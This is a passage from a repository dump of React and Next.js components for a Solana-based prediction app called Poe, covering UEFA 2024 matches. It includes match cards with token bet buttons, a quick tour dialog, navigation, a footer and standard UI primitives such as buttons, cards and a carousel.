    "content": "\"use client\";\n\nimport * as React from \"react\";\nimport { useTheme } from \"next-themes\";\n\nimport { Button } from \"@/components/ui/button\";\nimport {\n  DropdownMenu,\n  DropdownMenuContent,\n  DropdownMenuItem,\n  DropdownMenuTrigger,\n} from \"@/components/ui/dropdown-menu\";\nimport { RxMoon, RxSun } from \"react-icons/rx\";\n\nexport function DarkModeToggle() {\n  const { setTheme, theme } = useTheme();\n\n  console.log(\"Theme\", theme);\n\n  return (\n    <DropdownMenu>\n      <DropdownMenuTrigger asChild>\n        <Button variant=\"outline\" size=\"icon\">\n          <RxSun className=\"h-[1.2rem] w-[1.2rem] rotate-0 scale-100 transition-all dark:-rotate-90 dark:scale-0\" />\n          <RxMoon className=\"absolute h-[1.2rem] w-[1.2rem] rotate-90 scale-0 transition-all dark:rotate-0 dark:scale-100\" />\n          <span className=\"sr-only\">Toggle theme</span>\n        </Button>\n      </DropdownMenuTrigger>\n      <DropdownMenuContent align=\"end\">\n        <DropdownMenuItem onClick={() => setTheme(\"light\")}>\n          Light\n        </DropdownMenuItem>\n        <DropdownMenuItem onClick={() => setTheme(\"dark\")}>\n          Dark\n        </DropdownMenuItem>\n        <DropdownMenuItem onClick={() => setTheme(\"system\")}>\n          System\n        </DropdownMenuItem>\n      </DropdownMenuContent>\n    </DropdownMenu>\n  );\n}\n"
  },
  {
    "path": "components/footer.tsx",
    "content": "import Link from \"next/link\";\nimport { FaTelegramPlane } from \"react-icons/fa\";\nimport { FaDiscord, FaXTwitter } from \"react-icons/fa6\";\n\nexport const Footer = () => {\n  return (\n    <footer className=\"bg-gray-800 text-white py-2 bottom-0 w-full\">\n      <div className=\"flex justify-center space-x-8\">\n        <Link\n          target=\"_blank\"\n          rel=\"noopener noreferrer\"\n          href={\"https://discord.gg/HNxstUVC\"}\n        >\n          <FaDiscord size={40} />\n        </Link>\n        <Link\n          target=\"_blank\"\n          rel=\"noopener noreferrer\"\n          href={\"https://twitter.com/ProofOfEstimate\"}\n        >\n          <FaXTwitter size={40} />\n        </Link>\n        <Link\n          target=\"_blank\"\n          rel=\"noopener noreferrer\"\n          href={\"https://t.me/+19Jfbq7Pl1phNWIy\"}\n        >\n          <FaTelegramPlane size={40} />\n        </Link>\n      </div>\n      <div className=\"text-center text-sm\">\n        &copy; {new Date().getFullYear()} Poe. All rights reserved.\n      </div>\n    </footer>\n  );\n};\n"
  },
  {
    "path": "components/market-stats.tsx",
    "content": "\"use client\";\n\nimport useAnchorProgram from \"@/hooks/useAnchorProgram\";\nimport { Card, CardContent, CardHeader, CardTitle } from \"./ui/card\";\nimport { Skeleton } from \"./ui/skeleton\";\nimport { usePollById } from \"@/hooks/queries/usePollById\";\nimport { Separator } from \"./ui/separator\";\n\nconst MarketStats = ({\n  matchId,\n  profitScore,\n  reputationScore,\n}: {\n  matchId: number;\n  profitScore: string;\n  reputationScore: string;\n}) => {\n  const program = useAnchorProgram();\n\n  const { data: poll, isLoading: isLoadingPoll } = usePollById(\n    program,\n    matchId,\n    true\n  );\n  return (\n    <Card className=\"h-fit\">\n      <CardHeader>\n        <CardTitle className=\"text-lg\">Additional Data 📊</CardTitle>\n      </CardHeader>\n      <CardContent>\n        {poll ? (\n          <div className=\"\">\n            {poll.numForecasters.toString()} participant\n            {poll.numForecasters.toNumber() !== 1 ? \"s\" : \"\"}\n          </div>\n        ) : (\n          <Skeleton className=\"w-8 h-5 rounded-md\" />\n        )}\n        <Separator className=\"my-2\" />\n        <div className=\"flex gap-4\">\n          <p>Your profit:</p>\n          <p>{profitScore}</p>\n        </div>\n        <div className=\"flex gap-4\">\n          <p>Your score:</p>\n          <p>{reputationScore}</p>\n        </div>\n      </CardContent>\n    </Card>\n  );\n};\n\nexport default MarketStats;\n"
  },
  {
    "path": "components/match-card.tsx",
    "content": "\"use client\";\n\nimport { Match } from \"@/lib/dummyData\";\nimport { Button } from \"./ui/button\";\nimport { Slider } from \"./ui/slider\";\nimport Image from \"next/image\";\nimport {\n  Card,\n  CardContent,\n  CardDescription,\n  CardFooter,\n  CardHeader,\n  CardTitle,\n} from \"./ui/card\";\nimport { Separator } from \"./ui/separator\";\nimport Link from \"next/link\";\nimport { RiArrowRightDoubleLine } from \"react-icons/ri\";\nimport useAnchorProgram from \"@/hooks/useAnchorProgram\";\nimport { useConnection, useWallet } from \"@solana/wallet-adapter-react\";\nimport { useUserEstimateByPoll } from \"@/hooks/queries/useUserEstimateByPoll\";\nimport { useMakeEstimate } from \"@/hooks/mutations/useMakeEstimate\";\nimport { useUserScore } from \"@/hooks/queries/useUserScore\";\nimport { useUpdateEstimate } from \"@/hooks/mutations/useUpdateEstimate\";\nimport { useCollectPoints } from \"@/hooks/mutations/useCollectPoints\";\nimport { useEffect, useRef, useState } from \"react\";\nimport { usePollById } from \"@/hooks/queries/usePollById\";\nimport { Skeleton } from \"./ui/skeleton\";\nimport { TbLoader2 } from \"react-icons/tb\";\nimport useIntersectionObserver from \"@/hooks/useIntersectionObserver\";\nimport clsx from \"clsx\";\nimport { Badge } from \"./ui/badge\";\n\nexport const MatchCard = ({ match }: { match: Match }) => {\n  const program = useAnchorProgram();\n  const { connection } = useConnection();\n  const wallet = useWallet();\n\n  const ref = useRef<HTMLDivElement | null>(null);\n  const isVisible =\n    useIntersectionObserver(ref, { threshold: 0.1 }) &&\n    match.teamA !== \"tbd\" &&\n    match.teamB !== \"tbd\";\n\n  const matchId = Number.parseInt(match.id) - 1;\n  const {\n    data: userEstimate,\n    isError: isErrorEstimate,\n    error: errorEstimate,\n    isLoading: isLoadingEstimate,\n  } = useUserEstimateByPoll(\n    program,\n    connection,\n    wallet.publicKey,\n    matchId,\n    isVisible\n  );\n\n  const {\n    data: poll,\n    isLoading: isLoadingPoll,\n    isError: isErrorPoll,\n    error: errorPoll,\n  } = usePollById(program, matchId, isVisible);\n\n  const { data: userScore, isLoading: isLoadingScore } = useUserScore(\n    program,\n    connection,\n    wallet.publicKey,\n    matchId,\n    isVisible\n  );\n\n  const { mutate: submitEstimate, isPending: isSubmitting } = useMakeEstimate(\n    program,\n    connection,\n    wallet\n  );\n  const { mutate: updateEstimate, isPending: isUpdating } = useUpdateEstimate(\n    program,\n    connection,\n    wallet\n  );\n  const { mutate: collectPoints, isPending: isCollecting } = useCollectPoints(\n    program,\n    connection,\n    wallet\n  );\n\n  const [estimate, setEstimate] = useState(\n    userEstimate !== null && userEstimate !== undefined\n      ? (userEstimate.lowerEstimate + userEstimate.upperEstimate) / 2\n      : undefined\n  );\n\n  useEffect(() => {\n    if (userEstimate !== null && userEstimate !== undefined) {\n      setEstimate(\n        (userEstimate.lowerEstimate + userEstimate.upperEstimate) / 2\n      );\n    }\n  }, [userEstimate]);\n\n  const handleChange = (estimate: [number]) => {\n    setEstimate(estimate[0]);\n  };\n\n  const isLive = poll?.hasStarted && poll?.result == null;\n\n  return (\n    <Card ref={ref} className=\"w-full mx-4 sm:mx-0 sm:w-[25rem]\">\n      <CardHeader>\n        <CardDescription>\n          <div className=\"flex justify-between\">\n            {match.date}\n            {isLive && (\n              <Badge>\n                <span className=\"block w-[6px] h-[6px] bg-red-500 rounded-full drop-shadow-[0_0px_8px_#F7931A10)] animate-ping mr-2\"></span>\n                Live\n              </Badge>\n            )}\n          </div>\n        </CardDescription>\n        <CardTitle className=\"flex w-1/2 gap-4 items-center\">\n          <Image\n            width={36}\n            height={27}\n            alt=\"Flag of team A\"\n            src={match.logoA ? match.logoA : \"https://via.placeholder.com/50\"}\n          />\n          <span className=\"text-lg font-bold\">{match.teamA}</span>\n          <span className=\"ml-auto\">{match.resultA}</span>\n        </CardTitle>\n        <CardTitle className=\"flex w-1/2 gap-4 pt-4 items-center\">\n          <Image\n            width={36}\n            height={27}\n            alt=\"Flag of team B\"\n            src={match.logoB ? match.logoB : \"https://via.placeholder.com/50\"}\n          />\n          <span className=\"text-lg font-bold\">{match.teamB}</span>\n          <span className=\"ml-auto\">{match.resultB}</span>\n        </CardTitle>\n      </CardHeader>\n      <CardContent>\n        <Separator className=\"mb-4\" />\n        <p className=\"block text-md font-semibold mb-2\">\n          Prob. that {match.teamA} wins\n        </p>\n        <div className=\"flex w-3/5 sm:w-1/2 justify-between\">\n          <p className=\"block text-sm\">Market Prediction:</p>\n          <p className=\"text-sm font-bold\">\n            {poll && poll.collectiveEstimate !== null\n              ? (poll.collectiveEstimate / 10000).toFixed(0) + \"%\"\n              : \"-\"}\n          </p>\n        </div>\n        <div className=\"flex w-3/5 sm:w-1/2 justify-between\">\n          <p className=\"block text-sm\">Your Prediction:</p>\n          <p\n            className={clsx(\n              \"text-sm font-bold\",\n              estimate !== userEstimate?.lowerEstimate\n                ? \"dark:text-yellow-300\"\n                : \"\"\n            )}\n          >\n            {estimate !== undefined ? estimate + \"%\" : \"-\"}\n          </p>\n        </div>\n        <div className=\"flex gap-4 items-center\">\n          <Slider\n            onValueChange={handleChange}\n            value={[estimate !== undefined ? estimate : 50]}\n            max={100}\n            step={1}\n            className=\"my-4\"\n            disabled={poll?.result !== null}\n          />\n          <Button\n            variant={\"secondary\"}\n            disabled={poll?.result !== null}\n            size={\"sm\"}\n            onClick={() => {\n              if (userEstimate !== null && userEstimate !== undefined) {\n                setEstimate(\n                  (userEstimate.lowerEstimate + userEstimate.upperEstimate) / 2\n                );\n              } else {\n                setEstimate(undefined);\n              }\n            }}\n          >\n            Reset\n          </Button>\n        </div>\n      </CardContent>\n      <CardFooter>\n        <div className=\"w-full flex gap-4 items-center justify-between\">\n          {isLoadingPoll ? (\n            <Skeleton className=\"w-3/5 h-9 rounded-md\" />\n          ) : poll?.result !== null ? (\n            userScore === null || userScore === undefined || isLoadingScore ? (\n              <div>\n                {poll !== undefined ? (\n                  poll.result ? (\n                    <div className=\"text-primary font-bold\">\n                      {match.teamA} won!\n                    </div>\n                  ) : (\n                    <div className=\"text-primary font-bold\">\n                      {match.teamA} did not win!\n                    </div>\n                  )\n                ) : (\n                  \"\"\n                )}\n              </div>\n            ) : (\n              <Button\n                disabled={isCollecting}\n                className=\"w-3/5\"\n                onClick={() => collectPoints({ pollId: matchId })}\n              >\n                {isCollecting && (\n                  <TbLoader2 className=\"mr-2 h-4 w-4 animate-spin\" />\n                )}\n                Withdraw your funds\n              </Button>\n            )\n          ) : userEstimate !== undefined && userEstimate !== null ? (\n            <Button\n              disabled={\n                isUpdating ||\n                (estimate === userEstimate.lowerEstimate &&\n                  estimate === userEstimate.upperEstimate)\n              }\n              className=\"w-3/5\"\n              onClick={() =>\n                updateEstimate({\n                  pollId: matchId,\n                  lowerEstimate: estimate,\n                  upperEstimate: estimate,\n                })\n              }\n            >\n              {isUpdating && (\n                <TbLoader2 className=\"mr-2 h-4 w-4 animate-spin\" />\n              )}\n              Update Estimate\n            </Button>\n          ) : (\n            <Button\n              disabled={isSubmitting || estimate === undefined}\n              className=\"font-bold rounded w-full \"\n              onClick={() =>\n                submitEstimate({\n                  pollId: matchId,\n                  lowerEstimate: estimate,\n                  upperEstimate: estimate,\n                })\n              }\n            >\n              {isSubmitting && (\n                <TbLoader2 className=\"mr-2 h-4 w-4 animate-spin\" />\n              )}\n              Bet 100 BONK\n            </Button>\n          )}\n\n          <Button size={\"sm\"} variant={\"ghost\"} asChild>\n            <Link className=\"text-xs\" href={\"/match/\" + match.id}>\n              <RiArrowRightDoubleLine className=\"mr-2\" /> Details\n            </Link>\n          </Button>\n        </div>\n      </CardFooter>\n    </Card>\n  );\n};\n"
  },
  {
    "path": "components/match-day.tsx",
    "content": "import { Match } from \"@/lib/dummyData\";\nimport { MatchCard } from \"./match-card\";\n\nexport const MatchDay = ({\n  id,\n  title,\n  matches,\n}: {\n  id: string;\n  title: string;\n  matches: Match[];\n}) => {\n  return (\n    <div className=\"mb-8\">\n      <div className=\"flex gap-4 items-center mb-8 justify-center\">\n        <h2 id={id} className=\"text-4xl font-bold text-center\">\n          {title}\n        </h2>\n      </div>\n      <div className={`flex flex-wrap justify-center gap-5 md:gap-x-10`}>\n        {matches.map((match: Match) => (\n          <MatchCard key={match.id} match={match} />\n        ))}\n      </div>\n    </div>\n  );\n};\n"
  },
  {
    "path": "components/nav-bar.tsx",
    "content": "import Link from \"next/link\";\nimport ConnectWalletButton from \"./connect-wallet-button\";\nimport Image from \"next/image\";\nimport QuickTourDialog from \"./quick-tour-dialog\";\nimport { DarkModeToggle } from \"./dark-mode-toggle\";\nrequire(\"@solana/wallet-adapter-react-ui/styles.css\");\n\nexport const NavBar = () => {\n  return (\n    <header>\n      <div className=\"border-b px-4 py-4\">\n        <div className=\"flex h-16 items-center gap-1 sm:gap-8\">\n          {/* Keep it as comment because I think it will be used soon */}\n          {/* <MainNav /> */}\n          {/* <MobileNav /> */}\n\n          <Link\n            href=\"/\"\n            className=\"text-sm font-medium hover:cursor-pointer\"\n            prefetch={false}\n          >\n            <p className=\"text-lg\">UEFA 2024</p>\n            <span className=\"sm:flex hidden items-center gap-1 text-xs\">\n              powered by\n              <Image width={20} height={20} alt=\"Logo\" src={\"/Poe.png\"} />\n            </span>\n          </Link>\n          <Link\n            href=\"/leaderboard\"\n            className=\"ml-auto text-sm font-medium hover:bg-yellow-500 p-2 hover:bg-opacity-20 rounded-md\"\n            prefetch={false}\n          >\n            Leaderboard\n          </Link>\n          <div className=\"flex items-center md:space-x-4\">\n            <ConnectWalletButton />\n          </div>\n          <DarkModeToggle />\n        </div>\n      </div>\n    </header>\n  );\n};\n"
  },
  {
    "path": "components/quick-tour-dialog.tsx",
    "content": "\"use client\";\n\nimport useAnchorProgram from \"@/hooks/useAnchorProgram\";\nimport { Button } from \"./ui/button\";\nimport {\n  Carousel,\n  CarouselContent,\n  CarouselItem,\n  CarouselNext,\n  CarouselPrevious,\n} from \"./ui/carousel\";\nimport { Dialog, DialogContent, DialogTrigger } from \"./ui/dialog\";\nimport { useConnection, useWallet } from \"@solana/wallet-adapter-react\";\nimport { useUserAccount } from \"@/hooks/queries/useUserAccount\";\nimport { useRegisterUser } from \"@/hooks/mutations/useRegisterUser\";\n\nconst QuickTourDialog = () => {\n  const program = useAnchorProgram();\n  const { connection } = useConnection();\n  const wallet = useWallet();\n  const { data: userAccount, isLoading: isScoreLoading } = useUserAccount(\n    program,\n    connection,\n    wallet.publicKey\n  );\n\n  const { mutate: registerUser } = useRegisterUser(program, connection, wallet);\n\n  return (\n    <Dialog>\n      <DialogTrigger>\n        <Button asChild>\n          <div>Quick Tour</div>\n        </Button>\n      </DialogTrigger>\n      <DialogContent>\n        <Carousel>\n          <CarouselContent>\n            <CarouselItem>\n              <div className=\"flex flex-col gap-4\">\n                <div className=\"text-lg md:text-xl font-bold\">\n                  Predict Probabilities, not just outcomes!\n                </div>\n                <div className=\"w-5/6 sm:w-full\">\n                  With Poe, you predict how likely something is to happen. Your\n                  betting stake goes into a pool. Poe uses a special system to\n                  score your forecast and determine your payout.\n                </div>\n              </div>\n            </CarouselItem>\n            <CarouselItem>\n              <div className=\"flex flex-col gap-4\">\n                <div className=\"text-lg md:text-xl font-bold\">\n                  Always in the Game!\n                </div>\n                <div className=\"w-5/6 sm:w-full\">\n                  Update your beliefs as you learn more and the match\n                  progresses. Poe will calculate a time-averaged score after the\n                  end of the match which determines your payout.\n                </div>\n              </div>\n            </CarouselItem>\n            <CarouselItem>\n              <div className=\"flex flex-col gap-4\">\n                <div className=\"text-lg md:text-xl font-bold\">\n                  Get rewarded for your insights!\n                </div>\n                <div className=\"w-5/6 sm:w-full\">\n                  Just submit your beliefs. If you are right, you make a profit\n                  in expectation. Mint your 4000 BONK token to get started!\n                </div>\n                {userAccount === null && !isScoreLoading ? (\n                  <Button className=\"w-1/2\" onClick={() => registerUser()}>\n                    Mint BONK\n                  </Button>\n                ) : (\n                  <Button className=\"w-1/2\" disabled>\n                    Bonk already minted!\n                  </Button>\n                )}\n              </div>\n            </CarouselItem>\n          </CarouselContent>\n          <CarouselPrevious />\n          <CarouselNext />\n        </Carousel>\n      </DialogContent>\n    </Dialog>\n  );\n};\n\nexport default QuickTourDialog;\n"
  },
  {
    "path": "components/sidenav.tsx",
    "content": "\"use client\";\n\nimport QuickTourDialog from \"./quick-tour-dialog\";\n\nexport default function SideNav() {\n  return (\n    <div className=\"flex flex-col items-start py-4 px-10 gap-8 mt-4 pb-40 fixed h-full overflow-scroll\">\n      <QuickTourDialog />\n      <SideNavItem id=\"matchday1\" title=\"Matchday 1\" />\n      <SideNavItem id=\"matchday2\" title=\"Matchday 2\" />\n      <SideNavItem id=\"matchday3\" title=\"Matchday 3\" />\n      <SideNavItem id=\"round16\" title=\"Round of 16\" />\n      <SideNavItem id=\"quarter\" title=\"Quarter Finals\" />\n      <SideNavItem id=\"semi\" title=\"Semi Finals\" />\n      <SideNavItem id=\"final\" title=\"Finals\" />\n    </div>\n  );\n}\n\nfunction scrollTo(id: string) {\n  const element = document.getElementById(id);\n  element?.scrollIntoView({ behavior: \"smooth\" });\n}\n\nconst SideNavItem = ({ id, title }: { id: string; title: string }) => {\n  return (\n    <div\n      onClick={() => scrollTo(id)}\n      className=\"text-lg p-2 rounded-md font-semibold hover:cursor-pointer hover:bg-slate-300\"\n    >\n      {title}\n    </div>\n  );\n};\n"
  },
  {
    "path": "components/ui/avatar.tsx",
    "content": "\"use client\"\n\nimport * as React from \"react\"\nimport * as AvatarPrimitive from \"@radix-ui/react-avatar\"\n\nimport { cn } from \"@/lib/utils\"\n\nconst Avatar = React.forwardRef<\n  React.ElementRef<typeof AvatarPrimitive.Root>,\n  React.ComponentPropsWithoutRef<typeof AvatarPrimitive.Root>\n>(({ className, ...props }, ref) => (\n  <AvatarPrimitive.Root\n    ref={ref}\n    className={cn(\n      \"relative flex h-10 w-10 shrink-0 overflow-hidden rounded-full\",\n      className\n    )}\n    {...props}\n  />\n))\nAvatar.displayName = AvatarPrimitive.Root.displayName\n\nconst AvatarImage = React.forwardRef<\n  React.ElementRef<typeof AvatarPrimitive.Image>,\n  React.ComponentPropsWithoutRef<typeof AvatarPrimitive.Image>\n>(({ className, ...props }, ref) => (\n  <AvatarPrimitive.Image\n    ref={ref}\n    className={cn(\"aspect-square h-full w-full\", className)}\n    {...props}\n  />\n))\nAvatarImage.displayName = AvatarPrimitive.Image.displayName\n\nconst AvatarFallback = React.forwardRef<\n  React.ElementRef<typeof AvatarPrimitive.Fallback>,\n  React.ComponentPropsWithoutRef<typeof AvatarPrimitive.Fallback>\n>(({ className, ...props }, ref) => (\n  <AvatarPrimitive.Fallback\n    ref={ref}\n    className={cn(\n      \"flex h-full w-full items-center justify-center rounded-full bg-muted\",\n      className\n    )}\n    {...props}\n  />\n))\nAvatarFallback.displayName = AvatarPrimitive.Fallback.displayName\n\nexport { Avatar, AvatarImage, AvatarFallback }\n"
  },
  {
    "path": "components/ui/badge.tsx",
    "content": "import * as React from \"react\"\nimport { cva, type VariantProps } from \"class-variance-authority\"\n\nimport { cn } from \"@/lib/utils\"\n\nconst badgeVariants = cva(\n  \"inline-flex items-center rounded-md border px-2.5 py-0.5 text-xs font-semibold transition-colors focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2\",\n  {\n    variants: {\n      variant: {\n        default:\n          \"border-transparent bg-primary text-primary-foreground shadow hover:bg-primary/80\",\n        secondary:\n          \"border-transparent bg-secondary text-secondary-foreground hover:bg-secondary/80\",\n        destructive:\n          \"border-transparent bg-destructive text-destructive-foreground shadow hover:bg-destructive/80\",\n        outline: \"text-foreground\",\n      },\n    },\n    defaultVariants: {\n      variant: \"default\",\n    },\n  }\n)\n\nexport interface BadgeProps\n  extends React.HTMLAttributes<HTMLDivElement>,\n    VariantProps<typeof badgeVariants> {}\n\nfunction Badge({ className, variant, ...props }: BadgeProps) {\n  return (\n    <div className={cn(badgeVariants({ variant }), className)} {...props} />\n  )\n}\n\nexport { Badge, badgeVariants }\n"
  },
  {
    "path": "components/ui/button.tsx",
    "content": "import * as React from \"react\";\nimport { Slot } from \"@radix-ui/react-slot\";\nimport { cva, type VariantProps } from \"class-variance-authority\";\n\nimport { cn } from \"@/lib/utils\";\n\nconst buttonVariants = cva(\n  \"inline-flex items-center justify-center whitespace-nowrap rounded-md text-sm font-medium transition-colors focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring disabled:pointer-events-none disabled:opacity-50\",\n  {\n    variants: {\n      variant: {\n        default:\n          \"bg-primary text-primary-foreground shadow hover:bg-primary/90\",\n        destructive:\n          \"bg-destructive text-destructive-foreground shadow-sm hover:bg-destructive/90\",\n        outline:\n          \"border border-input bg-background shadow-sm hover:bg-accent hover:text-accent-foreground\",\n        secondary:\n          \"bg-secondary text-secondary-foreground shadow-sm hover:bg-secondary/80\",\n        ghost: \"hover:bg-accent hover:text-accent-foreground\",\n        link: \"text-primary underline-offset-4 hover:underline\",\n      },\n      size: {\n        default: \"h-9 px-4 py-2\",\n        xs: \"h-5 rounded-md px-2 text-xs\",\n        sm: \"h-8 rounded-md px-3 text-xs\",\n        lg: \"h-10 rounded-md px-8\",\n        icon: \"h-9 w-9\",\n      },\n    },\n    defaultVariants: {\n      variant: \"default\",\n      size: \"default\",\n    },\n  }\n);\n\nexport interface ButtonProps\n  extends React.ButtonHTMLAttributes<HTMLButtonElement>,\n    VariantProps<typeof buttonVariants> {\n  asChild?: boolean;\n}\n\nconst Button = React.forwardRef<HTMLButtonElement, ButtonProps>(\n  ({ className, variant, size, asChild = false, ...props }, ref) => {\n    const Comp = asChild ? Slot : \"button\";\n    return (\n      <Comp\n        className={cn(buttonVariants({ variant, size, className }))}\n        ref={ref}\n        {...props}\n      />\n    );\n  }\n);\nButton.displayName = \"Button\";\n\nexport { Button, buttonVariants };\n"
  },
  {
    "path": "components/ui/card.tsx",
    "content": "import * as React from \"react\"\n\nimport { cn } from \"@/lib/utils\"\n\nconst Card = React.forwardRef<\n  HTMLDivElement,\n  React.HTMLAttributes<HTMLDivElement>\n>(({ className, ...props }, ref) => (\n  <div\n    ref={ref}\n    className={cn(\n      \"rounded-xl border bg-card text-card-foreground shadow\",\n      className\n    )}\n    {...props}\n  />\n))\nCard.displayName = \"Card\"\n\nconst CardHeader = React.forwardRef<\n  HTMLDivElement,\n  React.HTMLAttributes<HTMLDivElement>\n>(({ className, ...props }, ref) => (\n  <div\n    ref={ref}\n    className={cn(\"flex flex-col space-y-1.5 p-6\", className)}\n    {...props}\n  />\n))\nCardHeader.displayName = \"CardHeader\"\n\nconst CardTitle = React.forwardRef<\n  HTMLParagraphElement,\n  React.HTMLAttributes<HTMLHeadingElement>\n>(({ className, ...props }, ref) => (\n  <h3\n    ref={ref}\n    className={cn(\"font-semibold leading-none tracking-tight\", className)}\n    {...props}\n  />\n))\nCardTitle.displayName = \"CardTitle\"\n\nconst CardDescription = React.forwardRef<\n  HTMLParagraphElement,\n  React.HTMLAttributes<HTMLParagraphElement>\n>(({ className, ...props }, ref) => (\n  <p\n    ref={ref}\n    className={cn(\"text-sm text-muted-foreground\", className)}\n    {...props}\n  />\n))\nCardDescription.displayName = \"CardDescription\"\n\nconst CardContent = React.forwardRef<\n  HTMLDivElement,\n  React.HTMLAttributes<HTMLDivElement>\n>(({ className, ...props }, ref) => (\n  <div ref={ref} className={cn(\"p-6 pt-0\", className)} {...props} />\n))\nCardContent.displayName = \"CardContent\"\n\nconst CardFooter = React.forwardRef<\n  HTMLDivElement,\n  React.HTMLAttributes<HTMLDivElement>\n>(({ className, ...props }, ref) => (\n  <div\n    ref={ref}\n    className={cn(\"flex items-center p-6 pt-0\", className)}\n    {...props}\n  />\n))\nCardFooter.displayName = \"CardFooter\"\n\nexport { Card, CardHeader, CardFooter, CardTitle, CardDescription, CardContent }\n"
  },
  {
    "path": "components/ui/carousel.tsx",
    "content": "\"use client\";\n\nimport * as React from \"react\";\nimport { ArrowLeftIcon, ArrowRightIcon } from \"@radix-ui/react-icons\";\nimport useEmblaCarousel, {\n  type UseEmblaCarouselType,\n} from \"embla-carousel-react\";\n\nimport { cn } from \"@/lib/utils\";\nimport { Button } from \"@/components/ui/button\";\n\ntype CarouselApi = UseEmblaCarouselType[1];\ntype UseCarouselParameters = Parameters<typeof useEmblaCarousel>;\ntype CarouselOptions = UseCarouselParameters[0];\ntype CarouselPlugin = UseCarouselParameters[1];\n\ntype CarouselProps = {\n  opts?: CarouselOptions;\n  plugins?: CarouselPlugin;\n  orientation?: \"horizontal\" | \"vertical\";\n  setApi?: (api: CarouselApi) => void;\n};\n\ntype CarouselContextProps = {\n  carouselRef: ReturnType<typeof useEmblaCarousel>[0];\n  api: ReturnType<typeof useEmblaCarousel>[1];\n  scrollPrev: () => void;\n  scrollNext: () => void;\n  canScrollPrev: boolean;\n  canScrollNext: boolean;\n} & CarouselProps;\n\nconst CarouselContext = React.createContext<CarouselContextProps | null>(null);\n\nfunction useCarousel() {\n  const context = React.useContext(CarouselContext);\n\n  if (!context) {\n    throw new Error(\"useCarousel must be used within a <Carousel />\");\n  }\n\n  return context;\n}\n\nconst Carousel = React.forwardRef<\n  HTMLDivElement,\n  React.HTMLAttributes<HTMLDivElement> & CarouselProps\n>(\n  (\n    {\n      orientation = \"horizontal\",\n      opts,\n      setApi,\n      plugins,\n      className,\n      children,\n      ...props\n    },\n    ref\n  ) => {\n    const [carouselRef, api] = useEmblaCarousel(\n      {\n        ...opts,\n        axis: orientation === \"horizontal\" ? \"x\" : \"y\",\n      },\n      plugins\n    );\n    const [canScrollPrev, setCanScrollPrev] = React.useState(false);\n    const [canScrollNext, setCanScrollNext] = React.useState(false);\n\n    const onSelect = React.useCallback((api: CarouselApi) => {\n      if (!api) {\n        return;\n      }\n\n      setCanScrollPrev(api.canScrollPrev());\n      setCanScrollNext(api.canScrollNext());\n    }, []);\n\n    const scrollPrev = React.useCallback(() => {\n      api?.scrollPrev();\n    }, [api]);\n\n    const scrollNext = React.useCallback(() => {\n      api?.scrollNext();\n    }, [api]);\n\n    const handleKeyDown = React.useCallback(\n      (event: React.KeyboardEvent<HTMLDivElement>) => {\n        if (event.key === \"ArrowLeft\") {\n          event.preventDefault();\n          scrollPrev();\n        } else if (event.key === \"ArrowRight\") {\n          event.preventDefault();\n          scrollNext();\n        }\n      },\n      [scrollPrev, scrollNext]\n    );\n\n    React.useEffect(() => {\n      if (!api || !setApi) {\n        return;\n      }\n\n      setApi(api);\n    }, [api, setApi]);\n\n    React.useEffect(() => {\n      if (!api) {\n        return;\n      }\n\n      onSelect(api);\n      api.on(\"reInit\", onSelect);\n      api.on(\"select\", onSelect);\n\n      return () => {\n        api?.off(\"select\", onSelect);\n      };\n    }, [api, onSelect]);\n\n    return (\n      <CarouselContext.Provider\n        value={{\n          carouselRef,\n          api: api,\n          opts,\n          orientation:\n            orientation || (opts?.axis === \"y\" ? \"vertical\" : \"horizontal\"),\n          scrollPrev,\n          scrollNext,\n          canScrollPrev,\n          canScrollNext,\n        }}\n      >\n        <div\n          ref={ref}\n          onKeyDownCapture={handleKeyDown}\n          className={cn(\"relative\", className)}\n          role=\"region\"\n          aria-roledescription=\"carousel\"\n          {...props}\n        >\n          {children}\n        </div>\n      </CarouselContext.Provider>\n    );\n  }\n);\nCarousel.displayName = \"Carousel\";\n\nconst CarouselContent = React.forwardRef<\n  HTMLDivElement,\n  React.HTMLAttributes<HTMLDivElement>\n>(({ className, ...props }, ref) => {\n  const { carouselRef, orientation } = useCarousel();\n\n  return (\n    <div ref={carouselRef} className=\"overflow-hidden\">\n      <div\n        ref={ref}\n        className={cn(\n          \"flex\",\n          orientation === \"horizontal\" ? \"-ml-4\" : \"-mt-4 flex-col\",\n          className\n        )}\n        {...props}\n      />\n    </div>\n  );\n});\nCarouselContent.displayName = \"CarouselContent\";\n\nconst CarouselItem = React.forwardRef<\n  HTMLDivElement,\n  React.HTMLAttributes<HTMLDivElement>\n>(({ className, ...props }, ref) => {\n  const { orientation } = useCarousel();\n\n  return (\n    <div\n      ref={ref}\n      role=\"group\"\n      aria-roledescription=\"slide\"\n      className={cn(\n        \"min-w-0 shrink-0 grow-0 basis-full\",\n        orientation === \"horizontal\" ? \"pl-4\" : \"pt-4\",\n        className\n      )}\n      {...props}\n    />\n  );\n});\nCarouselItem.displayName = \"CarouselItem\";\n\nconst CarouselPrevious = React.forwardRef<\n  HTMLButtonElement,\n  React.ComponentProps<typeof Button>\n>(({ className, variant = \"outline\", size = \"icon\", ...props }, ref) => {\n  const { orientation, scrollPrev, canScrollPrev } = useCarousel();\n\n  return (\n    <Button\n      ref={ref}\n      variant={variant}\n      size={size}\n      className={cn(\n        \"absolute  h-8 w-8 rounded-full\",\n        orientation === \"horizontal\"\n          ? \"-left-12 top-1/2 -translate-y-1/2\"\n          : \"-top-12 left-1/2 -translate-x-1/2 rotate-90\",\n        className\n      )}\n      disabled={!canScrollPrev}\n      onClick={scrollPrev}\n      {...props}\n    >\n      <ArrowLeftIcon className=\"h-4 w-4\" />\n      <span className=\"sr-only\">Previous slide</span>\n    </Button>\n  );\n});\nCarouselPrevious.displayName = \"CarouselPrevious\";\n\nconst CarouselNext = React.forwardRef<\n  HTMLButtonElement,\n  React.ComponentProps<typeof Button>\n>(({ className, variant = \"outline\", size = \"icon\", ...props }, ref) => {\n  const { orientation, scrollNext, canScrollNext } = useCarousel();\n\n  return (\n    <Button\n      ref={ref}\n      variant={variant}\n      size={size}\n      className={cn(\n        \"absolute h-8 w-8 rounded-full\",\n        orientation === \"horizontal\"\n          ? \"-right-12 top-1/2 -translate-y-1/2\"\n          : \"-bottom-12 left-1/2 -translate-x-1/2 rotate-90\",\n        className\n      )}\n      disabled={!canScrollNext}\n      onClick={scrollNext}\n      {...props}\n    >\n      <ArrowRightIcon className=\"h-4 w-4\" />\n      <span className=\"sr-only\">Next slide</span>\n    </Button>\n  );\n});\nCarouselNext.displayName = 